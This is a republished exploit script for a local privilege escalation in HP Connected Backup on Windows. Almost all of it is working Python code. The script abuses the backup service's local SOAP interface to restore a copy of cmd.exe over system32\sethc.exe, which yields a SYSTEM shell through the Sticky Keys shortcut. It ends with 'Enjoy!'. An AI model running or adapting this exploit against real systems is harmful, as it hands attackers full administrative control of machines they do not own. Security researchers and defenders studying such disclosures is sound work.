HP Connected Backup 8.6/8.8.6 - Local Privilege Escalation

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HP Connected Backup 8.6/8.8.6 - Local Privilege Escalation

来源：vfocus.net 作者：PeterLapp 发布时间：2018-01-24

#Tested on HP Connected Backup version 8.8.2.0 on Windows 7 x64

import os
import sys
import time
import requests
from bs4 import BeautifulSoup

def send_request(body):
    url="http://localhost:16386/"
    headers = {"Content-Type": "text/xml; charset=utf-8", 'SOAPAction': '""', "Set-Cookie": "CCSessionID=SessionID11"}
    response = requests.post(url, data=body, headers=headers)
    if response.status_code != requests.codes.ok:
        print "Non-200 response. Exiting..."
        sys.exit()
    else:
        return response.text


def get_tdate(response):
    soup = BeautifulSoup(response, "html.parser")
    tdate = soup.findAll("m-tdate")[0].string
    return tdate

#Copy cmd.exe to world-writeable folder
print "HP Connected Backup Privilege Escalation by Peter Lapp(lappsec)"
print "Copying cmd.exe to C:\\hpcb-privesc"
os.system("mkdir C:\\hpcb-privesc")
os.system("copy C:\\Windows\\system32\\cmd.exe C:\\hpcb-privesc\\sethc.exe")

print "Creating backup for C:\\hpcb-privesc\\sethc.exe"

#StartScan required before IncludeFile request will be accepted
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:StartScan xmlns:q1="http://localhost/UIRequestHandler.wsdl" /></soap:Body></soap:Envelope>""")

time.sleep(3)

#Add file to backup
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:IncludeFile xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:base64Binary">QzpcaHBjYi1wcml2ZXNjXHNldGhjLmV4ZQ==</param-1><param-2 xsi:type="xsd:boolean">true</param-2></q1:IncludeFile></soap:Body></soap:Envelope>""")

print "Initiating Backup"
#Start backup

send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:Backup xmlns:q1="http://localhost/UIRequestHandler.wsdl" /></soap:Body></soap:Envelope>""")

print """Sleeping for 300 seconds to give time for backup to complete.
If the script fails after this then change the sleep period to give the backup enough time to complete"""

time.sleep(300)

print "Initiating restore"
#PrepareRetrieve requires valid PID of process running as SYSTEM. PID 456 is common for Windows 7 but if it fails, try another

send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:PrepareForRetrieve xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:unsignedInt">456</param-1></q1:PrepareForRetrieve></soap:Body></soap:Envelope>""")

#We have to get the m-TDate value for the file in order for the restore to work correctly
print "Getting m-TDate value"
fileinfo = send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:GetRestoreDirectoryInfo xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:base64Binary">QzpcaHBjYi1wcml2ZXNjXA==</param-1></q1:GetRestoreDirectoryInfo></soap:Body></soap:Envelope>""")
tdate = get_tdate(fileinfo)

print "Adding Restore file"

send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:AddRestoreFile xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:base64Binary">QzpcaHBjYi1wcml2ZXNjXHNldGhjLmV4ZQ==</param-1><param-2 xsi:type="xsd:boolean">false</param-2><param-3 xsi:type="xsd:unsignedInt">"""+tdate+"""</param-3></q1:AddRestoreFile></soap:Body></soap:Envelope>""")

print "Setting alternate restore path to C:\\Windows\\system32\\"

send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:SetAlternateRestorePath xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:string">C:\Windows\system32</param-1><param-2 xsi:type="xsd:boolean">false</param-2></q1:SetAlternateRestorePath></soap:Body></soap:Envelope>""")

#Set restore to replace existing file
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:SetReplaceExisting xmlns:q1="http://localhost/UIRequestHandler.wsdl"><param-1 xsi:type="xsd:boolean">true</param-1></q1:SetReplaceExisting></soap:Body></soap:Envelope>""")

print "Restoring C:\\hpcb-privesc\\sethc.exe to C:\\Windows\\system32\\sethc.exe"
send_request("""<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://localhost//UIRequestHandler.wsdl" xmlns:types="http://localhost//UIRequestHandler.wsdl/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:Restore xmlns:q1="http://localhost/UIRequestHandler.wsdl" /></soap:Body></soap:Envelope>""")

print "If it made it this far without an error, then you should now be able to log out, press SHIFT 5 times and be given a command prompt as SYSTEM. Enjoy!"

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